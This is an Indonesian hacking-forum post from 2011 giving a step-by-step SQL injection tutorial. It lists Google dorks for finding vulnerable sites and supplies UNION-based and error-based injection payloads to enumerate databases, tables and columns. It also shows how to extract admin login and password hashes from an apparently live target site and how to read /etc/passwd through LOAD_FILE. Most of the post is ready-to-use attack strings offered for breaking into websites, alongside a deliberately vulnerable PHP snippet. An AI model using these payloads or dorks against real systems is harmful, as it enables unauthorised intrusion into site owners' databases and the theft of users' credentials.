Cielo-Hacker
Welcome To Cielo-Hacker.


Cielo-Hacker adalah Sebuah Komunitas Untuk Umum, Game dan Tempat Berkumpulnya para Cheater. Silahkan Bergabung dan membuat berbagai topik hangat tentang Game,Cheat Berbagi Software.

Silahkan Tekan Ctrl + D (Boorkmark) agar memudahkan anda berkunjung kembali ke Cielo-Hacker.

by : Admin



 
IndeksV.I.P ForumFAQPencarianAnggotaGroupPendaftaranLoginPortalCalendar
Login
Username:
Password:
Login otomatis: 
:: Lupa password?
Top posters
[cielo]Snutz™
 
faryalfarisy
 
cielo-hacker
 
bhohand
 
[CieLo]-TRueLiFe
 
rgates
 
Administrator
 
[Cielo]-*Chibi-ShyNdrOms^
 
™[Zen_xxx_]™
 
[CieLo]-KeN†
 
Latest topics
Thanks To
Image and video hosting
 <a href=Image and video hosting by TinyPic
IKLAN


Share | 
 

  Pengertian SQL Injection & Cara Mengimplementasikannya.

Topik sebelumnya Topik selanjutnya Go down 
PengirimMessage
[cielo]Snutz™
V.I.P
V.I.P


Jumlah posting : 229
Points : 444
Join date : 08.05.11

PostSubyek: Pengertian SQL Injection & Cara Mengimplementasikannya.   Tue May 17, 2011 7:05 pm

1. Perkenalan

sedikit penjelasan, apakah yang dimaksud dengan SQL injection..?? SQL injection adalah serangan yang memanfaatkan kelalaian dari website yang mengijinkan user untuk menginputkan data tertentu tanpa melakukan filter terhadap malicious character. Inputan tersebut biasanya di masukan pada box search atau bagian-bagian tertentu dari website yang berinteraksi dengan database SQL dari situs tersebut. Perintah yang dimasukan para attacker biasanya adalah sebuah data yang mengandung link tertentu yang mengarahkan para korban ke website khusus yang digunakan para attacker untuk mengambil data pribadi korban.
Untuk menghindari link berbahaya dari website yang telah terinfeksi serangan SQL injection, Anda dapat menggunakan aplikasi tambahan seperti NoScript yang merupakan Add-ons untuk aplikasi web browser Firefox. Meskipun tidak terlalu sempurna, setidaknya Anda dapat mengurangi kemungkinan Anda menjadi korban.


2. bagaimana kita menemukan website yang vuln (kali ini saya menggunakan Google)

dalam Google terdapat banyak sekali kata kunci untuk menemukan website yang vuln
ada beberapa contoh kata kunci untuk menemukan website yang vuln :

inurl:content.php?id=
inurl:index.php?id=
inurl:main.php?id=
inurl:streampage.php?id=
inurl:base.php?id=
inurl:content.php?id=
inurl:catalog.php?id=
inurl:view.php?id=
inurl:detail.php?id=
inurl:page.php?id=

3. mencari vuln

contoh , Google memberikan kita link :

situs.com/index.php?id=1

memulai pencarian vuln di parameter ID

a. situs.com/index.php?id=1+and+1=1 (true dan true = true)
jika keluar halaman seperti id=1, mungkin itu merupakan vuln website

situs.com/index.php?id=1+and+1=2 (true dan true = false)
jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu mengandung vulnerable

b. situs.com/index.php?id=1'+and+'1'='1 (true dan true = true)
situs.com/index.php?id=1'+and+'1'='2 (true dan false = false)

c. situs.com/index.php?id=1"+and+"1"="1 (true dan true = true)
situs.com/index.php?id=1"+and+"1"="2 (true dan false = false)

d. situs.com/index.php?id=1+order+by+1--+
situs.com/index.php?id=1+order+by+1000+--+
jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu mengandung vulnerable

e. situs.com/index.php?id=1
situs.com/index.php?id=2-1

f. situs.com/index.php?id=1
situs.com/index.php?id=1*1

g. situs.com/index.php?id=
jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu mengandung vulnerable

h. mysite.com/index.php?id=1'
jika keluar halaman yang menemukan error, halaman kosong, atau redirect , berarti website itu mengandung vulnerable

i. mysite.com/index.php?id=1malingsial
"Unknown column '1malingsial' in 'where clause" <--- vuln

j. situs.com/index.php?id=1)/*

k. situs.com/index.php?id=1')--+

l. situs.com/index.php?id=1"/*

m. situs.com/index.php?id=1))--+


website yang vuln tidak hanya pada query ini aja "index.php?id=1:
situs.com/index.php/id/6/
situs.com/index.HTM?id=1

kenapa ditemukan error atau redirect????

okee agar dapat dimengerti, anda harus mempunyai kemampuan dalam pemrograman PHP dan MySql

disini saya akan menulis script PHP yang simple dengan vulnerable
$q = "SELECT id,info FROM mytable WHERE id=".$id;
$r = mysql_query($q);
$result = mysql_fetch_row($r);
echo "myid ".$result[0]."
info".$result[1];


ketika saya menulis id=1 and 1 = 1:
$q = "SELECT id,info FROM mytable WHERE id=1 and 1=1";
$r = mysql_query($q);
$result = mysql_fetch_row($r);
echo "myid ".$result[0]."
info".$result[1];

dapat dilihat tidak ada error karna id = 1.


bila saya menulis id=1 and 1 = 2:
$q = "SELECT id,info FROM mytable WHERE id=1 and 1=2";
$r = mysql_query($q);
$result = mysql_fetch_row($r);
echo "myid ".$result[0]."
info".$result[1];

akan keluar error karena 1<>2.


jika saya menulis:
$q = "SELECT id,info FROM mytable WHERE id=".intval($id);
$r = mysql_query($q);
$result = mysql_fetch_row($r);
echo "myid ".$result[0]."
info".$result[1];
atau
$q = "SELECT id,info FROM mytable WHERE id=' ".addslashes($id)." ' "; //without spaces
$r = mysql_query($q);
$result = mysql_fetch_row($r);
echo "myid ".$result[0]."
info".$result[1];

jika anda mengetikan id=1+and+1=2 maka akan diterima id=1 atau jika anda mengetikan 1' maka akan menerima 1 juga.


itu berarti anda dapat menjebol website tersebut dengan metode SQL-Injection.


4. Mencari nomor kolom.
dalam hal ini ada 2 untuk mencari nomor kolom:

a. situs.com/index.php?id=1+and+1=2+UNION+SELECT+1+--+
situs.com/index.php?id=1+and+1=2+UNION+SELECT+1,2+--+
situs.com/index.php?id=1+and+1=2+UNION+SELECT+1,2,3+--+
...
apakah jumlahnya lebih tinggi sedangkan anda tidak melihat angka..? (mungkin terdapat dalam source code)

b. menggunakan perintah " order by" (digunakan untuk mengurutkan kolom berdasarkan angka).
situs.com/index.php?id=1+order+by+1+--+ (tidak ada error)
situs.com/index.php?id=1+order+by+1000+--+ (bila disini keluar error berarti didalam query tidak mempunyai 1000 kolom)
situs.com/index.php?id=1+order+by+50+--+
...
jika tidak keluar error, contoh, kita anda mengetikan order+by+10, dan keluar error ketika anda mengetikan order+by+11+--+ berarti query tersebut hanya mempunyai 10 kolom.

jika anda menemukan nomor kolom (dalam hal ini 10) maka perintah yang harus diketikan :
situs.com/index.php?id=1+and+1=2+union+select+1,2,3,4,5,6,7,8,9,10+--+
atau
situs.com/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10+--+
1+and+1=2 (true dan true=false) sama dengan id=-1 dan 1+and+1=1 (true dan true=true) sama dengan id=1


4.mengeluarkan database
sekarang kita akan mengeluarkan database

dalam hal ini saya sertakan dengan Live Demo:
[You must be registered and logged in to see this link.]
4 tabel, nomor kolom: 3


tapi sebelum itu, kita harus mencari database, user dan versi MySqlnya.
Berikut contoh pencarian database, user dan versi MySqlnya.
[You must be registered and logged in to see this link.]
0x3a - adalah konversi hex dari " : ".
anda juga dapat menggunakan syntax tanpa ():
version()=@@version
user()=CURRENT_USER

database : ewpa_majster01
user : ewpa_majster01@127.0.0.1
versi My SQL: 5.0.51a-24+lenny2+spu1-log



kemudian kita harus menemukan semua databasenya:
Berikut Syntax yang digunakan :
group_concat(schema_name) + from + information_schema.schemata
Berikut Contoh Pengeluaran Databasenya:
[You must be registered and logged in to see this link.]
seperti yang kita liat ada 2 database : information_schema,ewpa_majster01


kemudian kita melanjutkan dengan mengeluarkan nama tabelnya:
berikut syntax yang digunakan :
group_concat(table_name) from information_schema.tables
Berikut contoh pengeluaran nama tabelnya :
[You must be registered and logged in to see this link.]

karna cukup banyak nama tabelnya jadi saya tidak menulisnya disini... Sad

karna kita tidak memerlukan tabel yang dari database "information_schema":
berikut syntax yang digunakan :
group_concat(table_name) from information_schema.tables + where + table_schema<>information_schema
Berikut Contoh pengeluaran nama tabel tanpa tabel dari database "information_schema" :
[You must be registered and logged in to see this link.]

696e666f726d6174696f6e5f736368656d61 = hasil konversi hex dari "information_schema"

tapi anda juga bisa mencoba ini:
[You must be registered and logged in to see this link.]

kemudian kita harus menemukan kolomnya (dalam contoh saya mengambil tabel ewpa_user):
Berikut Syntax yang digunakan :
group_concat(column_name) + from + information_schema.columns + where + table_name=0xHEXDARINAMATABEL
Berikut contoh mengeluarkan kolom dari tabel :
[You must be registered and logged in to see this link.]

657770615f75736572 = hasil konversi hex dari tabel "ewpa_user"
daftar kolom-kolom : id,login,pass

Kemudian Langkah Selanjutnya adalah mengeluarkan seluruh isi kolom yang ada di dalam tabel
Berikut Syntax yang digunakan :
group_concat(nama kolom,[0x3a],nama kolom...) +from+nama tabel
Berikut contoh mengeluarkan seluruh isi kolom dari tabel :
[You must be registered and logged in to see this link.]

Hasilnya : ID=1 login=admin pass=646224a5..., ID=2 login=dyalcom pass=098f6b...

jika anda ingin mengeluarkan hanya 1 per 1 isi kolom saja, gunakan syntax : LIMIT [row],columns_count:
Berikut contohnya :
[You must be registered and logged in to see this link.]
[You must be registered and logged in to see this link.]
[You must be registered and logged in to see this link.]
...


Jika Keluar Error : "Illegal mix of collations" anda harus menggunakan perintah unhex(hex()) (contoh : unhex(hex(database())))


melihat password r00t:
berikut syntax yang digunakan :
situs.com/index.php?id=-1+union+select+1,2,LOAD_FILE('etc/passwd'),4+--+
atau
situs.com/index.php?id=-1+union+select+1,2,LOAD_FILE(0x2f6574632f706173737764),4+--+
contoh : [You must be registered and logged in to see this link.]

jika anda mempunya password r00t anda bisa melakukan apapun diserver itu.. Smile (contoh menggunakan program telnet)

5. 2 query
jika anda menginject website dengan 2 query anda tidak perlu menemukan nomor kolom lagi, karna akan keluar error :
Berikut Contoh Syntax yang digunakan untuk double query :
situs.com/index.php?id=(SELECT+*+FROM(SELECT+*+FROM(SELECT+NAME_CONST(user(),14)a)+as+t+JOIN+(SELECT+NAME_CONST(user(),14)a)b)c)


>v5.0.12
NAME_CONST(nama,value)

Bagaimana Query ini bekerja..?
gabungkan query kiri ke query kanan dengan satu nama kolom.





Sekian Sedikit Penjelasan Saya Tentang "Pengertian SQL Injection & Cara Mengimplementasikannya" .... Smile
Semoga Dapat dicerna oleh pembaca, dan Mohon maaf bila ada kesalahan dalam penulisan kata-kata, Pengertian SQL Injection & Cara Mengimplementasikannya.
Kembali Ke Atas Go down
Lihat profil user
 
Pengertian SQL Injection & Cara Mengimplementasikannya.
Topik sebelumnya Topik selanjutnya Kembali Ke Atas 
Halaman 1 dari 1

Permissions in this forum:Anda tidak dapat menjawab topik
Cielo-Hacker :: Tech Zone :: Hacking/Cracking-
Navigasi: